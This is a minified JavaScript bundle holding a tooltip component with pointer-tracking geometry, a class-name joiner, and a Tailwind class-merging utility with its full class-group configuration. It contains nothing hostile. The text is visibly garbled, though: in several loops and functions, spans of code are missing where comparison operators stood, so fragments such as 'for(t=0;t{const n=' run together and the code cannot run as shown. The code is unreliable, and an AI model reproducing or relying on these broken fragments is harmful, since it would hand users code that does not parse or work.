document.addEventListener("pointermove",S),()=>document.removeEventListener("pointermove",S)}},[f,p,c,h,y]),E.jsx(aj,{...e,ref:l})}),[UU,HU]=jh(Oc,{isInside:!1}),qU=NU("TooltipContent"),aj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,children:r,"aria-label":i,onEscapeKeyDown:l,onPointerDownOutside:c,...u}=e,f=Vc(Pl,n),h=Ph(n),{onClose:p}=f;return v.useEffect(()=>(document.addEventListener(p0,p),()=>document.removeEventListener(p0,p)),[p]),v.useEffect(()=>{if(f.trigger){const m=y=>{y.target?.contains(f.trigger)&&p()};return window.addEventListener("scroll",m,{capture:!0}),()=>window.removeEventListener("scroll",m,{capture:!0})}},[f.trigger,p]),E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:m=>m.preventDefault(),onDismiss:p,children:E.jsxs(Bb,{"data-state":f.stateAttribute,...h,...u,ref:t,style:{...u.style,"--radix-tooltip-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-tooltip-content-available-width":"var(--radix-popper-available-width)","--radix-tooltip-content-available-height":"var(--radix-popper-available-height)","--radix-tooltip-trigger-width":"var(--radix-popper-anchor-width)","--radix-tooltip-trigger-height":"var(--radix-popper-anchor-height)"},children:[E.jsx(qU,{children:r}),E.jsx(UU,{scope:n,isInside:!0,children:E.jsx(DU,{id:f.contentId,role:"tooltip",children:i||r})})]})})});rj.displayName=Pl;var ij="TooltipArrow",FU=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Ph(n);return HU(ij,n).isInside?null:E.jsx(Ub,{...i,...r,ref:t})});FU.displayName=ij;function VU(e,t){const n=Math.abs(t.top-e.y),r=Math.abs(t.bottom-e.y),i=Math.abs(t.right-e.x),l=Math.abs(t.left-e.x);switch(Math.min(n,r,i,l)){case l:return"left";case i:return"right";case n:return"top";case r:return"bottom";default:throw new Error("unreachable")}}function KU(e,t,n=5){const r=[];switch(t){case"top":r.push({x:e.x-n,y:e.y+n},{x:e.x+n,y:e.y+n});break;case"bottom":r.push({x:e.x-n,y:e.y-n},{x:e.x+n,y:e.y-n});break;case"left":r.push({x:e.x+n,y:e.y-n},{x:e.x+n,y:e.y+n});break;case"right":r.push({x:e.x-n,y:e.y-n},{x:e.x-n,y:e.y+n});break}return r}function YU(e){const{top:t,right:n,bottom:r,left:i}=e;return[{x:i,y:t},{x:n,y:t},{x:n,y:r},{x:i,y:r}]}function GU(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function WU(e){const t=e.slice();return t.sort((n,r)=>n.xr.x?1:n.yr.y?1:0),XU(t)}function XU(e){if(e.length<=1)return e.slice();const t=[];for(let r=0;r=2;){const l=t[t.length-1],c=t[t.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))t.pop();else break}t.push(i)}t.pop();const n=[];for(let r=e.length-1;r>=0;r--){const i=e[r];for(;n.length>=2;){const l=n[n.length-1],c=n[n.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))n.pop();else break}n.push(i)}return n.pop(),t.length===1&&n.length===1&&t[0].x===n[0].x&&t[0].y===n[0].y?t:t.concat(n)}var ZU=JM,QU=ej,JU=tj,eH=nj,oj=rj;function lj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{const n=new Array(e.length+t.length);for(let r=0;r({classGroupId:e,validator:t}),sj=(e=new Map,t=null,n)=>({nextPart:e,validators:t,classGroupId:n}),Ad="-",nC=[],rH="arbitrary..",aH=e=>{const t=oH(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;return{getClassGroupId:c=>{if(c.startsWith("[")&&c.endsWith("]"))return iH(c);const u=c.split(Ad),f=u[0]===""&&u.length>1?1:0;return cj(u,f,t)},getConflictingClassGroupIds:(c,u)=>{if(u){const f=r[c],h=n[c];return f?h?tH(h,f):f:h||nC}return n[c]||nC}}},cj=(e,t,n)=>{if(e.length-t===0)return n.classGroupId;const i=e[t],l=n.nextPart.get(i);if(l){const h=cj(e,t+1,l);if(h)return h}const c=n.validators;if(c===null)return;const u=t===0?e.join(Ad):e.slice(t).join(Ad),f=c.length;for(let h=0;he.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const t=e.slice(1,-1),n=t.indexOf(":"),r=t.slice(0,n);return r?rH+r:void 0})(),oH=e=>{const{theme:t,classGroups:n}=e;return lH(n,t)},lH=(e,t)=>{const n=sj();for(const r in e){const i=e[r];Fb(i,n,r,t)}return n},Fb=(e,t,n,r)=>{const i=e.length;for(let l=0;l{if(typeof e=="string"){cH(e,t,n);return}if(typeof e=="function"){uH(e,t,n,r);return}fH(e,t,n,r)},cH=(e,t,n)=>{const r=e===""?t:uj(t,e);r.classGroupId=n},uH=(e,t,n,r)=>{if(dH(e)){Fb(e(r),t,n,r);return}t.validators===null&&(t.validators=[]),t.validators.push(nH(n,e))},fH=(e,t,n,r)=>{const i=Object.entries(e),l=i.length;for(let c=0;c{let n=e;const r=t.split(Ad),i=r.length;for(let l=0;l"isThemeGetter"in e&&e.isThemeGetter===!0,hH=e=>{if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=Object.create(null),r=Object.create(null);const i=(l,c)=>{n[l]=c,t++,t>e&&(t=0,r=n,n=Object.create(null))};return{get(l){let c=n[l];if(c!==void 0)return c;if((c=r[l])!==void 0)return i(l,c),c},set(l,c){l in n?n[l]=c:i(l,c)}}},v0="!",rC=":",pH=[],aC=(e,t,n,r,i)=>({modifiers:e,hasImportantModifier:t,baseClassName:n,maybePostfixModifierPosition:r,isExternal:i}),mH=e=>{const{prefix:t,experimentalParseClassName:n}=e;let r=i=>{const l=[];let c=0,u=0,f=0,h;const p=i.length;for(let w=0;wf?h-f:void 0;return aC(l,x,y,S)};if(t){const i=t+rC,l=r;r=c=>c.startsWith(i)?l(c.slice(i.length)):aC(pH,!1,c,void 0,!0)}if(n){const i=r;r=l=>n({className:l,parseClassName:i})}return r},vH=e=>{const t=new Map;return e.orderSensitiveModifiers.forEach((n,r)=>{t.set(n,1e6+r)}),n=>{const r=[];let i=[];for(let l=0;l0&&(i.sort(),r.push(...i),i=[]),r.push(c)):i.push(c)}return i.length>0&&(i.sort(),r.push(...i)),r}},gH=e=>({cache:hH(e.cacheSize),parseClassName:mH(e),sortModifiers:vH(e),...aH(e)}),yH=/\s+/,bH=(e,t)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:i,sortModifiers:l}=t,c=[],u=e.trim().split(yH);let f="";for(let h=u.length-1;h>=0;h-=1){const p=u[h],{isExternal:m,modifiers:y,hasImportantModifier:x,baseClassName:S,maybePostfixModifierPosition:w}=n(p);if(m){f=p+(f.length>0?" "+f:f);continue}let O=!!w,A=r(O?S.substring(0,w):S);if(!A){if(!O){f=p+(f.length>0?" "+f:f);continue}if(A=r(S),!A){f=p+(f.length>0?" "+f:f);continue}O=!1}const _=y.length===0?"":y.length===1?y[0]:l(y).join(":"),T=x?_+v0:_,j=T+A;if(c.indexOf(j)>-1)continue;c.push(j);const M=i(A,O);for(let P=0;P0?" "+f:f)}return f},xH=(...e)=>{let t=0,n,r,i="";for(;t{if(typeof e=="string")return e;let t,n="";for(let r=0;r{let n,r,i,l;const c=f=>{const h=t.reduce((p,m)=>m(p),e());return n=gH(h),r=n.cache.get,i=n.cache.set,l=u,u(f)},u=f=>{const h=r(f);if(h)return h;const p=bH(f,n);return i(f,p),p};return l=c,(...f)=>l(xH(...f))},SH=[],Pt=e=>{const t=n=>n[e]||SH;return t.isThemeGetter=!0,t},dj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,hj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,OH=/^\d+\/\d+$/,EH=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,AH=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,CH=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,_H=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,TH=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,ml=e=>OH.test(e),ke=e=>!!e&&!Number.isNaN(Number(e)),fi=e=>!!e&&Number.isInteger(Number(e)),yg=e=>e.endsWith("%")&&ke(e.slice(0,-1)),ha=e=>EH.test(e),NH=()=>!0,MH=e=>AH.test(e)&&!CH.test(e),pj=()=>!1,jH=e=>_H.test(e),PH=e=>TH.test(e),RH=e=>!ge(e)&&!ye(e),DH=e=>Vl(e,gj,pj),ge=e=>dj.test(e),Gi=e=>Vl(e,yj,MH),bg=e=>Vl(e,$H,ke),iC=e=>Vl(e,mj,pj),kH=e=>Vl(e,vj,PH),$f=e=>Vl(e,bj,jH),ye=e=>hj.test(e),rc=e=>Kl(e,yj),LH=e=>Kl(e,BH),oC=e=>Kl(e,mj),IH=e=>Kl(e,gj),zH=e=>Kl(e,vj),Bf=e=>Kl(e,bj,!0),Vl=(e,t,n)=>{const r=dj.exec(e);return r?r[1]?t(r[1]):n(r[2]):!1},Kl=(e,t,n=!1)=>{const r=hj.exec(e);return r?r[1]?t(r[1]):n:!1},mj=e=>e==="position"||e==="percentage",vj=e=>e==="image"||e==="url",gj=e=>e==="length"||e==="size"||e==="bg-size",yj=e=>e==="length",$H=e=>e==="number",BH=e=>e==="family-name",bj=e=>e==="shadow",UH=()=>{const e=Pt("color"),t=Pt("font"),n=Pt("text"),r=Pt("font-weight"),i=Pt("tracking"),l=Pt("leading"),c=Pt("breakpoint"),u=Pt("container"),f=Pt("spacing"),h=Pt("radius"),p=Pt("shadow"),m=Pt("inset-shadow"),y=Pt("text-shadow"),x=Pt("drop-shadow"),S=Pt("blur"),w=Pt("perspective"),O=Pt("aspect"),A=Pt("ease"),_=Pt("animate"),T=()=>["auto","avoid","all","avoid-page","page","left","right","column"],j=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],M=()=>[...j(),ye,ge],P=()=>["auto","hidden","clip","visible","scroll"],R=()=>["auto","contain","none"],I=()=>[ye,ge,f],B=()=>[ml,"full","auto",...I()],q=()=>[fi,"none","subgrid",ye,ge],U=()=>["auto",{span:["full",fi,ye,ge]},fi,ye,ge],V=()=>[fi,"auto",ye,ge],oe=()=>["auto","min","max","fr",ye,ge],le=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],ce=()=>["start","end","center","stretch","center-safe","end-safe"],L=()=>["auto",...I()],F=()=>[ml,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...I()],$=()=>[e,ye,ge],Z=()=>[...j(),oC,iC,{position:[ye,ge]}],de=()=>["no-repeat",{repeat:["","x","y","space","round"]}],D=()=>["auto","cover","contain",IH,DH,{size:[ye,ge]}],X=()=>[yg,rc,Gi],ae=()=>["","none","full",h,ye,ge],se=()=>["",ke,rc,Gi],me=()=>["solid","dashed","dotted","double"],xe=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],ee=()=>[ke,yg,oC,iC],_e=()=>["","none",S,ye,ge],Q=()=>["none",ke,ye,ge],fe=()=>["none",ke,ye,ge],he=()=>[ke,ye,ge],ne=()=>[ml,"full",...I()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[NH],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[RH],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ke],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",ml,ge,ye,O]}],container:["container"],columns:[{columns:[ke,ge,ye,u]}],"break-after":[{"break-after":T()}],"break-before":[{"break-before":T()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:M()}],overflow:[{overflow:P()}],"overflow-x":[{"overflow-x":P()}],"overflow-y":[{"overflow-y":P()}],overscroll:[{overscroll:R()}],"overscroll-x":[{"overscroll-x":R()}],"overscroll-y":[{"overscroll-y":R()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:B()}],"inset-x":[{"inset-x":B()}],"inset-y":[{"inset-y":B()}],start:[{start:B()}],end:[{end:B()}],top:[{top:B()}],right:[{right:B()}],bottom:[{bottom:B()}],left:[{left:B()}],visibility:["visible","invisible","collapse"],z:[{z:[fi,"auto",ye,ge]}],basis:[{basis:[ml,"full","auto",u,...I()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ke,ml,"auto","initial","none",ge]}],grow:[{grow:["",ke,ye,ge]}],shrink:[{shrink:["",ke,ye,ge]}],order:[{order:[fi,"first","last","none",ye,ge]}],"grid-cols":[{"grid-cols":q()}],"col-start-end":[{col:U()}],"col-start":[{"col-start":V()}],"col-end":[{"col-end":V()}],"grid-rows":[{"grid-rows":q()}],"row-start-end":[{row:U()}],"row-start":[{"row-start":V()}],"row-end":[{"row-end":V()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":oe()}],"auto-rows":[{"auto-rows":oe()}],gap:[{gap:I()}],"gap-x":[{"gap-x":I()}],"gap-y":[{"gap-y":I()}],"justify-content":[{justify:[...le(),"normal"]}],"justify-items":[{"justify-items":[...ce(),"normal"]}],"justify-self":[{"justify-self":["auto",...ce()]}],"align-content":[{content:["normal",...le()]}],"align-items":[{items:[...ce(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...ce(),{baseline:["","last"]}]}],"place-content":[{"place-content":le()}],"place-items":[{"place-items":[...ce(),"baseline"]}],"place-self":[{"place-self":["auto",...ce()]}],p:[{p:I()}],px:[{px:I()}],py:[{py:I()}],ps:[{ps:I()}],pe:[{pe:I()}],pt:[{pt:I()}],pr:[{pr:I()}],pb:[{pb:I()}],pl:[{pl:I()}],m:[{m:L()}],mx:[{mx:L()}],my:[{my:L()}],ms:[{ms:L()}],me:[{me:L()}],mt:[{mt:L()}],mr:[{mr:L()}],mb:[{mb:L()}],ml:[{ml:L()}],"space-x":[{"space-x":I()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":I()}],"space-y-reverse":["space-y-reverse"],size:[{size:F()}],w:[{w:[u,"screen",...F()]}],"min-w":[{"min-w":[u,"screen","none",...F()]}],"max-w":[{"max-w":[u,"screen","none","prose",{screen:[c]},...F()]}],h:[{h:["screen","lh",...F()]}],"min-h":[{"min-h":["screen","lh","none",...F()]}],"max-h":[{"max-h":["screen","lh",...F()]}],"font-size":[{text:["base",n,rc,Gi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,ye,bg]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",yg,ge]}],"font-family":[{font:[LH,ge,t]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[i,ye,ge]}],"line-clamp":[{"line-clamp":[ke,"none",ye,bg]}],leading:[{leading:[l,...I()]}],"list-image":[{"list-image":["none",ye,ge]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",ye,ge]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:$()}],"text-color":[{text:$()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...me(),"wavy"]}],"text-decoration-thickness":[{decoration:[ke,"from-font","auto",ye,Gi]}],"text-decoration-color":[{decoration:$()}],"underline-offset":[{"underline-offset":[ke,"auto",ye,ge]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:I()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",ye,ge]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",ye,ge]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:Z()}],"bg-repeat":[{bg:de()}],"bg-size":[{bg:D()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},fi,ye,ge],radial:["",ye,ge],conic:[fi,ye,ge]},zH,kH]}],"bg-color":[{bg:$()}],"gradient-from-pos":[{from:X()}],"gradient-via-pos":[{via:X()}],"gradient-to-pos":[{to:X()}],"gradient-from":[{from:$()}],"gradient-via":[{via:$()}],"gradient-to":[{to:$()}],rounded:[{rounded:ae()}],"rounded-s":[{"rounded-s":ae()}],"rounded-e":[{"rounded-e":ae()}],"rounded-t":[{"rounded-t":ae()}],"rounded-r":[{"rounded-r":ae()}],"rounded-b":[{"rounded-b":ae()}],"rounded-l":[{"rounded-l":ae()}],"rounded-ss":[{"rounded-ss":ae()}],"rounded-se":[{"rounded-se":ae()}],"rounded-ee":[{"rounded-ee":ae()}],"rounded-es":[{"rounded-es":ae()}],"rounded-tl":[{"rounded-tl":ae()}],"rounded-tr":[{"rounded-tr":ae()}],"rounded-br":[{"rounded-br":ae()}],"rounded-bl":[{"rounded-bl":ae()}],"border-w":[{border:se()}],"border-w-x":[{"border-x":se()}],"border-w-y":[{"border-y":se()}],"border-w-s":[{"border-s":se()}],"border-w-e":[{"border-e":se()}],"border-w-t":[{"border-t":se()}],"border-w-r":[{"border-r":se()}],"border-w-b":[{"border-b":se()}],"border-w-l":[{"border-l":se()}],"divide-x":[{"divide-x":se()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":se()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...me(),"hidden","none"]}],"divide-style":[{divide:[...me(),"hidden","none"]}],"border-color":[{border:$()}],"border-color-x":[{"border-x":$()}],"border-color-y":[{"border-y":$()}],"border-color-s":[{"border-s":$()}],"border-color-e":[{"border-e":$()}],"border-color-t":[{"border-t":$()}],"border-color-r":[{"border-r":$()}],"border-color-b":[{"border-b":$()}],"border-color-l":[{"border-l":$()}],"divide-color":[{divide:$()}],"outline-style":[{outline:[...me(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ke,ye,ge]}],"outline-w":[{outline:["",ke,rc,Gi]}],"outline-color":[{outline:$()}],shadow:[{shadow:["","none",p,Bf,$f]}],"shadow-color":[{shadow:$()}],"inset-shadow":[{"inset-shadow":["none",m,Bf,$f]}],"inset-shadow-color":[{"inset-shadow":$()}],"ring-w":[{ring:se()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:$()}],"ring-offset-w":[{"ring-offset":[ke,Gi]}],"ring-offset-color":[{"ring-offset":$()}],"inset-ring-w":[{"inset-ring":se()}],"inset-ring-color":[{"inset-ring":$()}],"text-shadow":[{"text-shadow":["none",y,Bf,$f]}],"text-shadow-color":[{"text-shadow":$()}],opacity:[{opacity:[ke,ye,ge]}],"mix-blend":[{"mix-blend":[...xe(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":xe()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ke]}],"mask-image-linear-from-pos":[{"mask-linear-from":ee()}],"mask-image-linear-to-pos":[{"mask-linear-to":ee()}],"mask-image-linear-from-color":[{"mask-linear-from":$()}],"mask-image-linear-to-color":[{"mask-linear-to":$()}],"mask-image-t-from-pos":[{"mask-t-from":ee()}],"mask-image-t-to-pos":[{"mask-t-to":ee()}],"mask-image-t-from-color":[{"mask-t-from":$()}],"mask-image-t-to-color":[{"mask-t-to":$()}],"mask-image-r-from-pos":[{"mask-r-from":ee()}],"mask-image-r-to-pos":[{"mask-r-to":ee()}],"mask-image-r-from-color":[{"mask-r-from":$()}],"mask-image-r-to-color":[{"mask-r-to":$()}],"mask-image-b-from-pos":[{"mask-b-from":ee()}],"mask-image-b-to-pos":[{"mask-b-to":ee()}],"mask-image-b-from-color":[{"mask-b-from":$()}],"mask-image-b-to-color":[{"mask-b-to":$()}],"mask-image-l-from-pos":[{"mask-l-from":ee()}],"mask-image-l-to-pos":[{"mask-l-to":ee()}],"mask-image-l-from-color":[{"mask-l-from":$()}],"mask-image-l-to-color":[{"mask-l-to":$()}],"mask-image-x-from-pos":[{"mask-x-from":ee()}],"mask-image-x-to-pos":[{"mask-x-to":ee()}],"mask-image-x-from-color":[{"mask-x-from":$()}],"mask-image-x-to-color":[{"mask-x-to":$()}],"mask-image-y-from-pos":[{"mask-y-from":ee()}],"mask-image-y-to-pos":[{"mask-y-to":ee()}],"mask-image-y-from-color":[{"mask-y-from":$()}],"mask-image-y-to-color":[{"mask-y-to":$()}],"mask-image-radial":[{"mask-radial":[ye,ge]}],"mask-image-radial-from-pos":[{"mask-radial-from":ee()}],"mask-image-radial-to-pos":[{"mask-radial-to":ee()}],"mask-image-radial-from-color":[{"mask-radial-from":$()}],"mask-image-radial-to-color":[{"mask-radial-to":$()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":j()}],"mask-image-conic-pos":[{"mask-conic":[ke]}],"mask-image-conic-from-pos":[{"mask-conic-from":ee()}],"mask-image-conic-to-pos":[{"mask-conic-to":ee()}],"mask-image-conic-from-color":[{"mask-conic-from":$()}],"mask-image-conic-to-color":[{"mask-conic-to":$()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:Z()}],"mask-repeat":[{mask:de()}],"mask-size":[{mask:D()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",ye,ge]}],filter:[{filter:["","none",ye,ge]}],blur:[{blur:_e()}],brightness:[{brightness:[ke,ye,ge]}],contrast:[{contrast:[ke,ye,ge]}],"drop-shadow":[{"drop-shadow":["","none",x,Bf,$f]}],"drop-shadow-color":[{"drop-shadow":$()}],grayscale:[{grayscale:["",ke,ye,ge]}],"hue-rotate":[{"hue-rotate":[ke,ye,ge]}],invert:[{invert:["",ke,ye,ge]}],saturate:[{saturate:[ke,ye,ge]}],sepia:[{sepia:["",ke,ye,ge]}],"backdrop-filter":[{"backdrop-filter":["","none",ye,ge]}],"backdrop-blur":[{"backdrop-blur":_e()}],"backdrop-brightness":[{"backdrop-brightness":[ke,ye,ge]}],"backdrop-contrast":[{"backdrop-contrast":[ke,ye,ge]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ke,ye,ge]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ke,ye,ge]}],"backdrop-invert":[{"backdrop-invert":["",ke,ye,ge]}],"backdrop-opacity":[{"backdrop-opacity":[ke,ye,ge]}],"backdrop-saturate":[{"backdrop-saturate":[ke,ye,ge]}],"backdrop-sepia":[{"backdrop-sepia":["",ke,ye,ge]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":I()}],"border-spacing-x":[{"border-spacing-x":I()}],"border-spacing-y":[{"border-spacing-y":I()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",ye,ge]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ke,"initial",ye,ge]}],ease:[{ease:["linear","initial",A,ye,ge]}],delay:[{delay:[ke,ye,ge]}],animate:[{animate:["none",_,ye,ge]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,ye,ge]}],"perspective-origin":[{"perspective-origin":M()}],rotate:[{rotate:Q()}],"rotate-x":[{"rotate-x":Q()}],"rotate-y":[{"rotate-y":Q()}],"rotate-z":[{"rotate-z":Q()}],scale:[{scale:fe()}],"scale-x":[{"scale-x":fe()}],"scale-y":[{"scale-y":fe()}],"scale-z":[{"scale-z":fe()}],"scale-3d":["scale-3d"],skew:[{skew:he()}],"skew-x":[{"skew-x":he()}],"skew-y":[{"skew-y":he()}],transform:[{transform:[ye,ge,"","none","gpu","cpu"]}],"transform-origin":[{origin:M()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:ne()}],"translate-x":[{"translate-x":ne()}],"translate-y":[{"translate-y":ne()}],"translate-z":[{"translate-z":ne()}],"translate-none":["translate-none"],accent:[{accent:$()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:$()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",ye,ge]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":I()}],"scroll-mx":[{"scroll-mx":I()}],"scroll-my":[{"scroll-my":I()}],"scroll-ms":[{"scroll-ms":I()}],"scroll-me":[{"scroll-me":I()}],"scroll-mt":[{"scroll-mt":I()}],"scroll-mr":[{"scroll-mr":I()}],"scroll-mb":[{"scroll-mb":I()}],"scroll-ml":[{"scroll-ml":I()}],"scroll-p":[{"scroll-p":I()}],"scroll-px":[{"scroll-px":I()}],"scroll-py":[{"scroll-py":I()}],"scroll-ps":[{"scroll-ps":I()}],"scroll-pe":[{"scroll-pe":I()}],"scroll-pt":[{"scroll-pt":I()}],"scroll-pr":[{"scroll-pr":I()}],"scroll-pb":[{"scroll-pb":I()}],"scroll-pl":[{"scroll-pl":I()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",ye,ge]}],fill:[{fill:["none",...$()]}],"stroke-w":[{stroke:[ke,rc,Gi,bg]}],stroke:[{stroke:["none",...$()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l